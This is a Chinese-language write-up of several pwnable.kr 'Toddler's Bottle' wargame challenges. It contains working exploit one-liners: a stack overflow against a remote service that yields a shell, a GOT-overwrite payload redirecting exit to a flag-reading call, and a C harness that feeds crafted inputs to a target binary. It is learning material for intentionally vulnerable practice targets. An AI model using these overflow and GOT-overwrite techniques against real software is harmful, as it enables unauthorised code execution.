Toddler’s Bottle

col

./col "$(python -c 'from struct import pack;print "0"*16 + pack("<I", 0x611c492c)')"

bof

一开始不熟悉输入处理,花了不少时间……echo 后面追加 cat 可以使输入流关闭,成功获得 shell。(PS:一开始拿到了 shell 还不自知……)不加 cat 的话则会提示 *** stack smashing detected ***: terminated

(echo "$(python -c 'from struct import pack;print "A"*52 + pack("<I", 0xcafebabe)')";cat) | nc pwnable.kr 9000

flag

拖到 ida 里,一开始觉得函数很少,而且找不到 pe 里的字符串,翻来翻去发现原来用 upx 压缩了。解压后就简单了,从 main 函数里直接就能看到引用的 flag 字符串内容。

passcode

观察代码可以看到,scanfpasscode1passcode2 的地方都没有加取地址符,则数据不会写到这两个变量而是写道它们的值所指向的地址上。但 passcode1passcode2 都没有初始化,所以它们的值是随机的——本该如此,但是在调用 login 之前会先调用 welcome 函数,welcome 中的 char name[100] 使得我们可以控制 p1 和 p2 变量的值。因为 welcomelogin 的 ebp 是相等的,当栈重用时 p1 p2 占据的位置正好落在 name[100] 的范围内。而我们可以输入几乎任意的值到 name 里(除了 \x0 空白字符等,scanf(%s) 的限制)。
这样就能想到先把 p1 p2 的值初始化成它们的地址,然后再填入 if 中的两个整数满足条件,但实际上每次运行时栈的位置无法预知,所以不好做到。
从另一个角度看也可以利用任意 4 字节地址写入的能力直接绕过这个 if,比如直接跳到 system("/bin/cat flag"); 开始执行。可以通过改写 GOT 表来达到偷梁换柱的目的,这样程序在试图调用被篡改过函数时就会跳转到我们想要的位置。而可以选择的目标就是 scanf("%d", passcode1); 之后可以被调用到的函数。
查看 passcode 的 GOT 表,因为 printf scanf 的地址里有 \x0 \x20 所以排除掉,剩下可以选 fflushexit。比如 exit 的地址是 0x0804a018。

Relocation section '.rel.plt' at offset 0x398 contains 9 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a000  00000107 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804a004  00000207 R_386_JUMP_SLOT   00000000   fflush@GLIBC_2.0
0804a008  00000307 R_386_JUMP_SLOT   00000000   __stack_chk_fail@GLIBC_2.4
0804a00c  00000407 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
0804a010  00000507 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
0804a014  00000607 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a018  00000707 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0
0804a01c  00000807 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804a020  00000907 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7

反汇编 elf 可以找到想要执行的 system("/bin/cat flag"); 地址是 0x80485e3。
所以做法就是先把 passcode1 的值初始化成 0x0804a018,然后执行到 scanf p1 时输入 0x80485e3。然后代码执行到 exit(0) 时就会跳转了。

python -c 'print "A"*96 + "\x18\xa0\x04\x08 134514147"' > /tmp/test
./passcode < /tmp/test

random

关键在于 If no seed value is provided, the rand() function is automatically seeded with a value of 1.

输入 3039230856

input

主要要熟悉 libc 函数……另外远程机上的环境也有所不同,要稍作调整。把代码拷到 /tmp 的单独目录下,并将 flag 链接到当前目录,因为当前目录是 input 的工作目录。

mkdir /tmp/ABC && cd /tmp/ABC
ln -s /home/input2/flag flag
cat > 1.c        ; 输入源代码,PATH_INPUT 切换成 input 文件实际所在路径
gcc 1.c -o 1 && ./1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <arpa/inet.h>


#define PATH_IN "st2-in"
#define PATH_ERR "st2-err"
#define PATH_OUT "st2-out"
#define PATH_0A "\x0a"


#if 0
#define PATH_INPUT "input"
#else
#define PATH_INPUT "/home/input2/input"
#endif


int main() {
    char* n_argv[101] = {0};

    // 1
    for (int i = 0; i < 100; ++i) {
        n_argv[i] = "";
    }
    n_argv[100] = NULL;
    n_argv['A'] = "\x00";
    n_argv['B'] = "\x20\x0a\x0d";


    // 2
    int n_in = open(PATH_IN, O_CREAT|O_TRUNC|O_RDWR, S_IRWXU|S_IRWXO|S_IRWXG);
    int n_err = open(PATH_ERR, O_CREAT|O_TRUNC|O_RDWR, S_IRWXU|S_IRWXO|S_IRWXG);
    write(n_in, "\x00\x0a\x00\xff", 4);
    write(n_err, "\x00\x0a\x02\xff", 4);
    lseek(n_in, 0, SEEK_SET);
    lseek(n_err, 0, SEEK_SET);
    dup2(n_in, STDIN_FILENO);
    dup2(n_err, STDERR_FILENO);


    // 3
    char* n_env[3] = {0};
    n_env[0] = "\xde\xad\xbe\xef=\xca\xfe\xba\xbe";
    n_env[1] = NULL;


    // 4
    int fa = open(PATH_0A, O_CREAT|O_TRUNC|O_RDWR, S_IRWXU|S_IRWXO|S_IRWXG);
    write(fa, "\x00\x00\x00\x00", 4);
    close(fa);


    // 5.1
    n_argv['C'] = "10000";
    int pid = -1;
    if ((pid = fork()) == 0) {
        execve(PATH_INPUT, n_argv, n_env);
        printf("exec err: %d\n", errno);
    }
    else if (pid > 0) {
        // 5.2
        sleep(1);
        int sk = socket(AF_INET, SOCK_STREAM, 0);
        struct sockaddr_in target;
        target.sin_family = AF_INET;
        target.sin_addr.s_addr = inet_addr("127.0.0.1");
        target.sin_port = htons(10000);
        if (connect(sk, (struct sockaddr*)&target, sizeof(target)) < 0)
            printf("connect err: %d\n", errno);
        send(sk, "\xde\xad\xbe\xef", 4, 0);
        close(sk);
    }
    else {
        puts("fork failed");
    }
    return 0;
}